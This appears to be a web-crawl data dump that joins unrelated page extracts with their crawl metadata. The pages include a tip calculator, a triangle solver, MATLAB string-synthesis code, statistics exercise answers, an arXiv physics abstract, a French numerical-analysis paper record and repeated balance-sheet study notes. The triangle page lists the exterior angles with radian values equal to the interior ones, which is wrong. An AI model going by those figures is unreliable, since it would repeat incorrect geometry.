means:\n\n1. Total amount rounded to the nearest whole number: 537\n\n2. Split into 3: 179\n\nSo in the example above, if the pizza order is to be split into 3, you’ll have to pay \\$179 . Of course, you can do these settings in Tip Calculator. You can split the tip and the total amount payable among the members of the company as you wish. So the TipCalc.net page basically serves as a Pizza Tip Calculator, as well.\n\n## Tip Calculator Examples (BILL: \\$447.59)\n\nHow much is a 5% tip on \\$447.59?\nHow much is a 10% tip on \\$447.59?\nHow much is a 15% tip on \\$447.59?\nHow much is a 20% tip on \\$447.59?\nHow much is a 25% tip on \\$447.59?\nHow much is a 30% tip on \\$447.59?"
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.9598531,"math_prob":0.9875858,"size":2626,"snap":"2022-27-2022-33","text_gpt3_token_len":854,"char_repetition_ratio":0.31998473,"word_repetition_ratio":0.24598931,"special_character_ratio":0.40936786,"punctuation_ratio":0.16235632,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99777305,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-20T06:06:23Z\",\"WARC-Record-ID\":\"<urn:uuid:84c81a60-1f14-41ea-b3f0-9399d7825186>\",\"Content-Length\":\"11005\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a532338c-35ec-42a2-92f5-b9727f642006>\",\"WARC-Concurrent-To\":\"<urn:uuid:bbafbd9a-869a-4d9e-9c92-1024e4e9bc47>\",\"WARC-IP-Address\":\"161.35.97.186\",\"WARC-Target-URI\":\"https://tipcalc.net/how-much-is-a-20-percent-tip-on-447.59\",\"WARC-Payload-Digest\":\"sha1:ELDUWIVQFATDZWWX6KCVMMUW52OXR4E5\",\"WARC-Block-Digest\":\"sha1:KTPSPBMFILKEWLH5N6LMLLQYG6XNWSYW\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882573908.30_warc_CC-MAIN-20220820043108-20220820073108-00620.warc.gz\"}"} |
https://www.triangle-calculator.com/?what=sss&a=7.5&b=6.2&c=1.85&submit=1 | [
"# Triangle calculator SSS - result\n\nPlease enter the triangle sides:\n\n### Obtuse scalene triangle.\n\nSides: a = 7.5 b = 6.2 c = 1.85\n\nArea: T = 4.46768462291\nPerimeter: p = 15.55\nSemiperimeter: s = 7.775\n\nAngle ∠ A = α = 128.842234364° = 128°50'32″ = 2.24987231125 rad\nAngle ∠ B = β = 40.08109842677° = 40°4'52″ = 0.76995451429 rad\nAngle ∠ C = γ = 11.07766720925° = 11°4'36″ = 0.19333243982 rad\n\nHeight: ha = 1.19111589944\nHeight: hb = 1.44109181384\nHeight: hc = 4.82990229504\n\nMedian: ma = 2.62108300212\nMedian: mb = 4.49773603369\nMedian: mc = 6.81883117412\n\nInradius: r = 0.57545139844\nCircumradius: R = 4.81546385385\n\nVertex coordinates: A[1.85; 0] B[0; 0] C[5.73985135135; 4.82990229504]\nCentroid: CG[2.53295045045; 1.61096743168]\nCoordinates of the circumscribed circle: U[0.925; 4.72549464818]\nCoordinates of the inscribed circle: I[1.575; 0.57545139844]\n\nExterior(or external, outer) angles of the triangle:\n∠ A' = α' = 51.15876563602° = 51°9'28″ = 2.24987231125 rad\n∠ B' = β' = 139.9199015732° = 139°55'8″ = 0.76995451429 rad\n∠ C' = γ' = 168.9233327907° = 168°55'24″ = 0.19333243982 rad\n\n# How did we calculate this triangle?\n\n### 1. The triangle circumference is the sum of the lengths of its three sides",
null,
"### 2. Semiperimeter of the triangle",
null,
"### 3. The triangle area using Heron's formula",
null,
"### 4. Calculate the heights of the triangle from its area.",
null,
"### 5. Calculation of the inner angles of the triangle using a Law of Cosines",
null,
"### 6. Inradius",
null,
"### 7. Circumradius",
null,
"### 8. Calculation of medians",
null,
"#### Look also our friend's collection of math examples and problems:\n\nSee more informations about triangles or more information about solving triangles."
]
| [
null,
"https://www.triangle-calculator.com/tex/038/0388b4b91bbc3.svg",
null,
"https://www.triangle-calculator.com/tex/d86/d86073d4cb15c.svg",
null,
"https://www.triangle-calculator.com/tex/e73/e7322d9c76971.svg",
null,
"https://www.triangle-calculator.com/tex/511/51127929ea11b.svg",
null,
"https://www.triangle-calculator.com/tex/7eb/7ebc89c546fe0.svg",
null,
"https://www.triangle-calculator.com/tex/91f/91f0fab3425bf.svg",
null,
"https://www.triangle-calculator.com/tex/25b/25b2b36f4a846.svg",
null,
"https://www.triangle-calculator.com/tex/510/51052c53a0512.svg",
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.6353735,"math_prob":0.9973528,"size":1468,"snap":"2019-35-2019-39","text_gpt3_token_len":576,"char_repetition_ratio":0.14002733,"word_repetition_ratio":0.0,"special_character_ratio":0.5354223,"punctuation_ratio":0.22950819,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9996169,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16],"im_url_duplicate_count":[null,2,null,2,null,1,null,1,null,1,null,2,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-08-24T08:00:11Z\",\"WARC-Record-ID\":\"<urn:uuid:cecdf170-f5ef-47c9-a3d0-e79ff42caaee>\",\"Content-Length\":\"19271\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9e391c22-75e0-4bc0-9a64-4c428b781fd6>\",\"WARC-Concurrent-To\":\"<urn:uuid:9b3180de-249d-456a-b28c-198c61890ea4>\",\"WARC-IP-Address\":\"104.28.12.22\",\"WARC-Target-URI\":\"https://www.triangle-calculator.com/?what=sss&a=7.5&b=6.2&c=1.85&submit=1\",\"WARC-Payload-Digest\":\"sha1:HVLZLNRPKNP3ZB6YVVIN2F6USOXJJHXY\",\"WARC-Block-Digest\":\"sha1:4B4NRG2JN5OVZE5X5ZZPK63HRWNDEKDU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-35/CC-MAIN-2019-35_segments_1566027319915.98_warc_CC-MAIN-20190824063359-20190824085359-00202.warc.gz\"}"} |
https://www.matlabcoding.com/2020/03/the-karplus-strong-algorithm-in-matlab.html | [
"## MatLab APP\n\n%Code:-\nclc\nclear all\nclose all\nx=rand(1,100);\nx=[x zeros(1,5000)];\nnum=;\nden=[1 zeros(1,99) -0.5 -0.5];\ny=filter(num,den,x);\nsound(y,44100)\n\nYou can change the random sequence range and according to that change the no. of zeros in denominator of the filter and play ---\nclc\nclear all\nclose all\nx=rand(1,500);\nx=[x zeros(1,10000)];\nnum=;\nden=[1 zeros(1,499) -0.5 -0.5];\ny=filter(num,den,x);\nsound(y,44100)\n\nPrerequisite:-\nKarplus–Strong string synthesis https://en.wikipedia.org/wiki/Karplus..."
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.6333807,"math_prob":0.98576146,"size":461,"snap":"2020-24-2020-29","text_gpt3_token_len":170,"char_repetition_ratio":0.11597374,"word_repetition_ratio":0.03448276,"special_character_ratio":0.4099783,"punctuation_ratio":0.22222222,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98986554,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-07-08T03:42:32Z\",\"WARC-Record-ID\":\"<urn:uuid:316681b0-b3c9-4d12-8e7e-14980ac11e7e>\",\"Content-Length\":\"367281\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a2b9db40-db38-47a5-832a-10ae22b4c0c3>\",\"WARC-Concurrent-To\":\"<urn:uuid:49e37816-f84a-4b86-b72d-1ea210cc9843>\",\"WARC-IP-Address\":\"172.217.12.243\",\"WARC-Target-URI\":\"https://www.matlabcoding.com/2020/03/the-karplus-strong-algorithm-in-matlab.html\",\"WARC-Payload-Digest\":\"sha1:4PEATEVAFM54W4TUGOTQXXSSSDQX35TE\",\"WARC-Block-Digest\":\"sha1:EMHRKIF47CUA66GDAPM6N3UE4YQCKCBT\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-29/CC-MAIN-2020-29_segments_1593655896374.33_warc_CC-MAIN-20200708031342-20200708061342-00174.warc.gz\"}"} |
https://blitzcoder.net/?Showcase=68620 | [
"-=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- (c) WidthPadding Industries 1987 0|163|0 -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=- -=+=-\nSoCoder -> Showcase Home -> Puzzle",
null,
"Created : 12 August 2018\nEdited : 12 August 2018\n\n### Marble Maze (itch.io #lowrezjam2018)\n\nHomepage\nitch.io\nScreenshots",
null,
"Here is my submission for the #lowrezjam2018 jam,\nMarble Maze\n\nEdit to add: Used BlitzMax-NG, Pyxel Edit, and TileD to create this.\n\n## Latest Update",
null,
"Sunday, 12 August 2018, 15:43\nJayenkai",
null,
"Nice game. Simple but complex! Some nice puzzles within.",
null,
"Monday, 13 August 2018, 14:05\nrockford",
null,
"Looks good fun",
null,
"Monday, 13 August 2018, 15:59\nsteve_ancell",
null,
"Had a little play, quite good if I may say so.",
null,
"Monday, 13 August 2018, 18:43",
null,
"Thanks for the compliments",
null,
"how are the puzzles? I'm not that great at creating challenging puzzles. Difficult to get that balance between so easy that it's boring and so difficult that it's frustrating.",
null,
"I got to the portals levels and didnt have time to work out where the exit was",
null,
"",
null,
""
]
| [
null,
"https://socoder.net/avabar.php",
null,
"https://socoder.net/uploads/1/81AA72A6-D530-4027-AFA5-E14A09F27C6F.jpeg",
null,
"https://img.itch.zone/aW1hZ2UvMjkwMzA2LzE0MTU3NTguZ2lm/original/wQ%2FSng.gif",
null,
"https://socoder.net/uploads/1/avabar_201402.png",
null,
"https://blitzcoder.net/s2css/blank.png",
null,
"https://socoder.net/uploads/214/avabar.png",
null,
"https://blitzcoder.net/smile/hair/2x/smile.png",
null,
"https://socoder.net/uploads/51/avabar1.jpg",
null,
"https://blitzcoder.net/smile/hair/2x/wink.png",
null,
"https://socoder.net/avabar.php",
null,
"https://blitzcoder.net/smile/hair/2x/smile.png",
null,
"https://socoder.net/uploads/1/trg64x16_thumb.png",
null,
"https://blitzcoder.net/smile/hair/2x/smile.png",
null,
"https://blitzcoder.net/s2css/blank.png",
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.8931504,"math_prob":0.98561877,"size":1101,"snap":"2020-24-2020-29","text_gpt3_token_len":314,"char_repetition_ratio":0.11668186,"word_repetition_ratio":0.01604278,"special_character_ratio":0.2924614,"punctuation_ratio":0.15765765,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9994216,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28],"im_url_duplicate_count":[null,null,null,null,null,8,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-07T01:49:13Z\",\"WARC-Record-ID\":\"<urn:uuid:12dd5bea-8764-4727-b220-e26cb4abe7db>\",\"Content-Length\":\"25296\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ef22fba7-5b59-4b17-8408-1f18f3fcc625>\",\"WARC-Concurrent-To\":\"<urn:uuid:b903daad-3c7e-48b1-8731-69255b7b15b4>\",\"WARC-IP-Address\":\"88.80.187.139\",\"WARC-Target-URI\":\"https://blitzcoder.net/?Showcase=68620\",\"WARC-Payload-Digest\":\"sha1:AKEGQX2IGTVEWBYR3NIIYSOCIXHGTSFW\",\"WARC-Block-Digest\":\"sha1:EMUIP7QAIOKNKKDOYLALUZ2EBRGV6AS3\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590348523476.97_warc_CC-MAIN-20200607013327-20200607043327-00449.warc.gz\"}"} |
https://bookdown.org/pkaldunn/Book/PairedCIExercisesAnswer.html | [
"## D.22 Answers: CIs for paired data\n\nAnswers to exercises in Sect. 23.12.\n\nAnswer to Exercise 23.1: Mean of the differences: 5.2; standard error 3.6. Approximate 95% CI: $$5.2 \\pm (2\\times 3.06)$$, or $$5.2\\pm 6.12$$, from -0.92 to 11.22. Mean taste preference between preferring it better with dip by up to 11.2mm on the 100mm visual analog scale, or preferring it without dip by a little (up to -0.9mm on the 100mm visual analog scale. (Understanding how the differences are defined is needed to understand where this came from.)\n\nA useful summary might be like Table D.2.\nTABLE D.2: A numerical summary for the brocilli data\nMean Standard deviation Standard error\nRaw 56 26.6 2.64679892595857\nWith dip 61.2 28.7 2.85575673590267\nDifferences 5.2 3.06\nAnswer to Exercise 23.2: 1. Computing differences as Before minus the After measurements seems sensible: the average blood pressure decrease, the purpose of the drug. 2. The differences (when defined asreductions): 9, 4, 21, 3, 20, 31, 17, 26, and so on. 3. Mean difference: 18.933; standard deviation: 9.027; standard error: $$9.027/\\sqrt{15} = 2.331$$. Approximate 95% CI: $$14.271$$ to $$23.56$$ mm Hg. 4. Exact 95% CI: 13.934 to 23.93 mm Hg from output. 5. The first uses approximate multipiers. The second uses exact multipliers.\nAnswer to Exercise 23.3: 1. Approximate 95% CI for reduction: $$0.66 \\pm(2\\times 0.37)$$, or -0.08 to 1.4: average could be an increase of up to 0.08 to a reduction of up to 1.4 on the given scale for women. 2. Sample size is not larger than 25, but close: probably reasonably statistically valid."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.805259,"math_prob":0.98368996,"size":1540,"snap":"2022-27-2022-33","text_gpt3_token_len":510,"char_repetition_ratio":0.10481771,"word_repetition_ratio":0.008163265,"special_character_ratio":0.37922078,"punctuation_ratio":0.24155845,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99146247,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-12T00:52:43Z\",\"WARC-Record-ID\":\"<urn:uuid:8713593d-f937-44bf-9cc0-9d14b6441293>\",\"Content-Length\":\"120093\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:96000cd4-52cc-41ff-8144-f34fa7b53777>\",\"WARC-Concurrent-To\":\"<urn:uuid:e648520f-b0db-4a41-9561-1cf18c7a5100>\",\"WARC-IP-Address\":\"54.159.152.60\",\"WARC-Target-URI\":\"https://bookdown.org/pkaldunn/Book/PairedCIExercisesAnswer.html\",\"WARC-Payload-Digest\":\"sha1:GHQISVRAKIXQTYZDU5ESQVQZAENRUZMO\",\"WARC-Block-Digest\":\"sha1:OV2FSJ46GB5DYGEWKW6Q4NHTIECUOLJX\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882571536.89_warc_CC-MAIN-20220811224716-20220812014716-00459.warc.gz\"}"} |
https://export.arxiv.org/abs/1810.00509 | [
"### Current browse context:\n\ncond-mat.mes-hall\n\n# Title: Non-Wigner-Dyson level statistics and fractal wavefunction of disordered Weyl semimetals\n\nAbstract: Finding fingerprints of disordered Weyl semimetals (WSMs) is an unsolved task. Here we report such findings in the level statistics and the fractal nature of electron wavefunction around Weyl nodes of disordered WSMs. The nearest-neighbor level spacing follows a new universal distribution $P_c(s)=C_1 s^2\\exp[-C_2 s^{2-\\gamma_0}]$ originally proposed for the level statistics of critical states in the integer quantum Hall systems or normal dirty metals (diffusive metals) at metal-to-insulator transitions, instead of the Wigner-Dyson distribution for diffusive metals. Numerically, we find $\\gamma_0=0.62\\pm0.07$. In contrast to the Bloch wavefuntions of clean WSMs that uniformly distribute over the whole space of ($D=3$) at large length scale, the wavefunction of disordered WSMs at a Weyl node occupies a fractal space of dimension $D=2.18\\pm 0.05$. The finite size scaling of the inverse participation ratio suggests that the correlation length of wavefunctions at Weyl nodes ($E=0$) diverges as $\\xi\\propto |E|^{-\\nu}$ with $\\nu=0.89\\pm0.05$. In the ergodic limit,the level number variance $\\Sigma_2$ around Weyl nodes increases linearly with the average level number $N$, $\\Sigma_2=\\chi N$, where $\\chi= 0.2\\pm0.1$ is independent of system sizes and disorder strengths.\n Comments: 6 pages, 4 figures Subjects: Mesoscale and Nanoscale Physics (cond-mat.mes-hall) Journal reference: Phys. Rev. B 99, 205140 (2019) DOI: 10.1103/PhysRevB.99.205110 Cite as: arXiv:1810.00509 [cond-mat.mes-hall] (or arXiv:1810.00509v2 [cond-mat.mes-hall] for this version)\n\n## Submission history\n\nFrom: Chen Wang [view email]\n[v1] Mon, 1 Oct 2018 02:39:03 GMT (974kb,D)\n[v2] Sat, 23 Mar 2019 07:02:21 GMT (1269kb,D)\n\nLink back to: arXiv, form interface, contact."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.7942852,"math_prob":0.92905664,"size":1832,"snap":"2023-14-2023-23","text_gpt3_token_len":510,"char_repetition_ratio":0.1022976,"word_repetition_ratio":0.0,"special_character_ratio":0.26310045,"punctuation_ratio":0.12790698,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9722838,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-05-29T18:30:25Z\",\"WARC-Record-ID\":\"<urn:uuid:638cd5d6-0cbd-4ea4-932a-98144838176c>\",\"Content-Length\":\"17646\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:1659b633-4004-4f42-8110-c1f878c57270>\",\"WARC-Concurrent-To\":\"<urn:uuid:479c6bc5-b5b1-4bd5-9513-cb8b52fae6b5>\",\"WARC-IP-Address\":\"128.84.21.203\",\"WARC-Target-URI\":\"https://export.arxiv.org/abs/1810.00509\",\"WARC-Payload-Digest\":\"sha1:GHUY7SOV4CNPHYVGXI337NW5LTL3BZOJ\",\"WARC-Block-Digest\":\"sha1:7YVELALRMKKGEEZHFMUFTBNKG7H2FLYT\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224644907.31_warc_CC-MAIN-20230529173312-20230529203312-00322.warc.gz\"}"} |
https://ictp.acad.ro/error-estimation-numerical-convergence-certain-iterative-methods/ | [
"# On the error estimation in the numerical convergence of certain iterative methods\n\n## Abstract\n\nWe study the nonlinear equations of the form $x=\\lambda D\\left( x\\right) +y,$ where $$\\lambda \\in \\mathbb{R}$$ and $$y\\in E$$ are fixed, and $$D:E\\rightarrow E,$$ with $$D\\left( 0\\right) =0$$ a nonlinear mapping on the Banach space $$E$$. We consider the iterative method $\\xi_{n+1}=\\lambda D_{\\varepsilon}\\left( \\xi_{n}\\right) +y_{\\varepsilon},$ where $$D_{\\varepsilon}$$ is an operator which approximates $$D$$ and $$y_{\\varepsilon}$$ is an approximation for $$y$$. We obtain an evaluation for $$\\left \\Vert \\bar{x}-\\xi_{n+1}\\right \\Vert$$ in terms of $$\\left \\Vert D_{\\varepsilon}\\left( x\\right) -D\\left( x\\right) \\right \\Vert$$ and $$\\left \\Vert y-y_{\\varepsilon}\\right \\Vert$$.\n\nIon Păvăloiu\n\n## Title\n\n### Original title (in French)\n\nSur l’estimation des erreurs en convergence numérique de certaines méthodes d’iteration\n\n### English translation of the title\n\nOn the error estimation in the numerical convergence of certain iterative methods\n\n## Keywords\n\nnonlinear equation in Banach space; iterative method; error estimation\n\n## References\n\n Babici, D.M., Ivanov, V.N., Otenca polnoi progresnosti prireshenia nelineinyh operatornyh uravnenii metodov prostei iteratii. Jurnal vycislitelnoi matematiki i matematiceskoi fisiki 7, 5 (1967), 988–1000.\n\n Pavaloiu, I., Introduction in the Theory of Approximating the Solutions of Equations, Ed. Dacia 1976 (in Romanian).\n\n Urabe, M., Error estimation in numerical solution of equations by iteration process, J. Sci. Hiroshima Univ. Ser. A-I, 26 (1962), 77–91\n\n## PDF\n\n##### Cite this paper as:\n\nI. Păvăloiu, Sur l’estimation des erreurs en convergence numérique de certaines méthodes d’iteration, Seminar on functional analysis and numerical methods, Preprint no. 1 (1986), pp. 133-136 (in French, English translation provided).\n\n##### Journal\n\nSeminar on functional analysis and numerical methods,\nPreprint\n\n##### Publisher Name\n\n“Babes-Bolyai” University,\nFaculty of Mathematics and Physics,\nResearch Seminars\n\n##### DOI\n\nNot available yet."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.50314766,"math_prob":0.9923949,"size":1976,"snap":"2022-40-2023-06","text_gpt3_token_len":590,"char_repetition_ratio":0.12068965,"word_repetition_ratio":0.077220075,"special_character_ratio":0.27024293,"punctuation_ratio":0.14647888,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9984275,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-09-26T06:59:51Z\",\"WARC-Record-ID\":\"<urn:uuid:436e7a46-bbb3-49e1-a9cc-f89e09e0b21c>\",\"Content-Length\":\"123702\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c0589de9-03b0-4432-9889-38257baa4e2f>\",\"WARC-Concurrent-To\":\"<urn:uuid:0f077947-869b-4afc-97e2-ca44488087f7>\",\"WARC-IP-Address\":\"92.81.68.202\",\"WARC-Target-URI\":\"https://ictp.acad.ro/error-estimation-numerical-convergence-certain-iterative-methods/\",\"WARC-Payload-Digest\":\"sha1:LXX74RZDDCA4NMYT6KVDRMEXS7LPOFFD\",\"WARC-Block-Digest\":\"sha1:IGGOVEIXOBKF36YO4XOBBQQVSY2AZTL3\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030334802.16_warc_CC-MAIN-20220926051040-20220926081040-00005.warc.gz\"}"} |
https://www.majortests.com/essay/Pearl-Harbor-546251.html | [
"# Pearl Harbor Essay\n\nSubmitted By dwessel2015\nWords: 1186\nPages: 5\n\n1. Know how to complete the circle chart that was completed on the whiteboard.\n\n2. Vocabulary:\n-inventory\n-asset\n-liability\n-market value\n-book value\n-solvency\n-debts\n-book value\n-market value\n-FFSC\n-interest-expense ratio\n-net farm income from operations ration\n-liquidity ratio\n\n3. Another name for net worth and net worth statement.\n\n4. What does a balance sheet show you?\n\n5. Examples of the different assets and liabilities and their life span. (financial assets, personal assets, capital assets, current, intermediate, fixed)\n\n6. Equation for net worth. Know how to figure assets and/or liabilities knowing assets and/or liabilities and net worth.\n\n7. On the quiz you will be asked to fill out an example balance sheet and find the net worth. There will also be several examples where I list items, you must then classify them as current/noncurrent asset or current/noncurrent asset to find the net worth.\n\n8. When/how often a balance sheet is normally produced?\n\n1. Know how to complete the circle chart that was completed on the whiteboard.\n\n2. Vocabulary:\n-inventory\n-asset\n-liability\n-market value\n-book value\n-solvency\n-debts\n-book value\n-market value\n-FFSC\n-interest-expense ratio\n-net farm income from operations ration\n-liquidity ratio\n\n3. Another name for net worth and net worth statement.\n\n4. What does a balance sheet show you?\n\n5. Examples of the different assets and liabilities and their life span. (financial assets, personal assets, capital assets, current, intermediate, fixed)\n\n6. Equation for net worth. Know how to figure assets and/or liabilities knowing assets and/or liabilities and net worth.\n\n7. On the quiz you will be asked to fill out an example balance sheet and find the net worth. There will also be several examples where I list items, you must then classify them as current/noncurrent asset or current/noncurrent asset to find the net worth.\n\n8. When/how often a balance sheet is normally produced?\n\n1. Know how to complete the circle chart that was completed on the whiteboard.\n\n2. Vocabulary:\n-inventory\n-asset\n-liability\n-market value\n-book value\n-solvency\n-debts\n-book value\n-market value\n-FFSC\n-interest-expense ratio\n-net farm income from operations ration\n-liquidity ratio\n\n3. Another name for net worth and net worth statement.\n\n4. What does a balance sheet show you?\n\n5. Examples of the different assets and liabilities and their life span. (financial assets, personal assets, capital assets, current, intermediate, fixed)\n\n6. Equation for net worth. Know how to figure assets and/or liabilities knowing assets and/or liabilities and net worth.\n\n7. On the quiz you will be asked to fill out an example balance sheet and find the net worth. There will also be several examples where I list items, you must then classify them as current/noncurrent asset or current/noncurrent asset to find the net worth.\n\n8. When/how often a balance sheet is normally produced?\n\n1. Know how to complete the circle chart that was completed on the whiteboard.\n\n2. Vocabulary:\n-inventory\n-asset\n-liability\n-market value\n-book value\n-solvency\n-debts\n-book value\n-market value\n-FFSC\n-interest-expense ratio\n-net farm income from operations ration\n-liquidity ratio\n\n3. Another name for net worth and net worth statement.\n\n4. What does a balance sheet show you?\n\n5. Examples of the different assets and liabilities and their life span. (financial assets, personal assets, capital assets, current, intermediate, fixed)\n\n6. Equation for net worth. Know how to figure assets and/or liabilities knowing assets and/or liabilities and net worth.\n\n7. On the quiz you will be asked to fill out an example balance sheet and find the net worth. There will also be several examples where I list items, you must then classify them as current/noncurrent asset or current/noncurrent asset to find the net worth.\n\n8. When/how often a balance sheet is"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8921578,"math_prob":0.8743481,"size":3749,"snap":"2020-24-2020-29","text_gpt3_token_len":828,"char_repetition_ratio":0.14152204,"word_repetition_ratio":1.0,"special_character_ratio":0.21419045,"punctuation_ratio":0.13043478,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98446476,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-05T09:38:10Z\",\"WARC-Record-ID\":\"<urn:uuid:ae7289b9-0e4e-4aaa-8a0f-a39b9e6fcfa0>\",\"Content-Length\":\"28669\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3e388045-713e-4b34-8bb5-3732225474b7>\",\"WARC-Concurrent-To\":\"<urn:uuid:9b32ad8e-9219-4ac6-a7ef-4b0dcd8e220f>\",\"WARC-IP-Address\":\"13.249.43.63\",\"WARC-Target-URI\":\"https://www.majortests.com/essay/Pearl-Harbor-546251.html\",\"WARC-Payload-Digest\":\"sha1:UMWCJP7MN7GNJCLKTUYINDCX3JHIDLIW\",\"WARC-Block-Digest\":\"sha1:KO7HDQQ5YMGQAQC7NIMJ34BJIXSWIYNJ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590348496026.74_warc_CC-MAIN-20200605080742-20200605110742-00495.warc.gz\"}"} |
https://unoamor.ch/UNOAMORUNO/UNOMUNDOAMOR.htm | [
"U N S E R A L L E R\nP L A N E T E R D E\nL E B E N S\nW U N D E R\nM Y S T E R I U M\nE I N\nS E H E N",
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"1\n.\n.\nU N S E R E N K I N D E R N\nZ U L I E B E\nD I E M E N S C H L l C H E\nL E B E N S\nG R U N D L A G E\nK I N D E R Z U K U N F T\nB E W A H R E N",
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"2\n V I D AP H I L I E G E B Ä R E NH E G E N A R M AP H I L I E K Ä M P F E NT Ö T E N P E R M AK U L T U R M O N OK U L T U R",
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"P E R M AE N E R G I E F O S S I LE N E R G I E"
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"https://unoamor.ch/logos/erde-eini-1.PNG",
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"https://unoamor.ch/logos/ERDE-FLOR-AZUL.bmp",
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"https://unoamor.ch/logos/erde-eini-5.2.3.PNG",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.69312567,"math_prob":0.6411378,"size":447,"snap":"2021-04-2021-17","text_gpt3_token_len":263,"char_repetition_ratio":0.12641084,"word_repetition_ratio":0.14746544,"special_character_ratio":0.5302013,"punctuation_ratio":0.009345794,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000055,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-18T21:13:13Z\",\"WARC-Record-ID\":\"<urn:uuid:6d9222af-7ddd-4e9c-82e2-97a192b7c26d>\",\"Content-Length\":\"16192\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9d9815ed-2d8a-4210-9051-e49d41901cf8>\",\"WARC-Concurrent-To\":\"<urn:uuid:ddb6a050-1d0f-4208-8c00-08732abc9416>\",\"WARC-IP-Address\":\"217.26.52.12\",\"WARC-Target-URI\":\"https://unoamor.ch/UNOAMORUNO/UNOMUNDOAMOR.htm\",\"WARC-Payload-Digest\":\"sha1:UU2MYL63ZDSOMOYRZS3I43OLETWW5RQH\",\"WARC-Block-Digest\":\"sha1:XMF7676GSBUTNB6BJL5OCMR5HJXHM4WY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618038860318.63_warc_CC-MAIN-20210418194009-20210418224009-00074.warc.gz\"}"} |
https://www.math.uaic.ro/cmr2015/index.php?talks&ant | [
"",
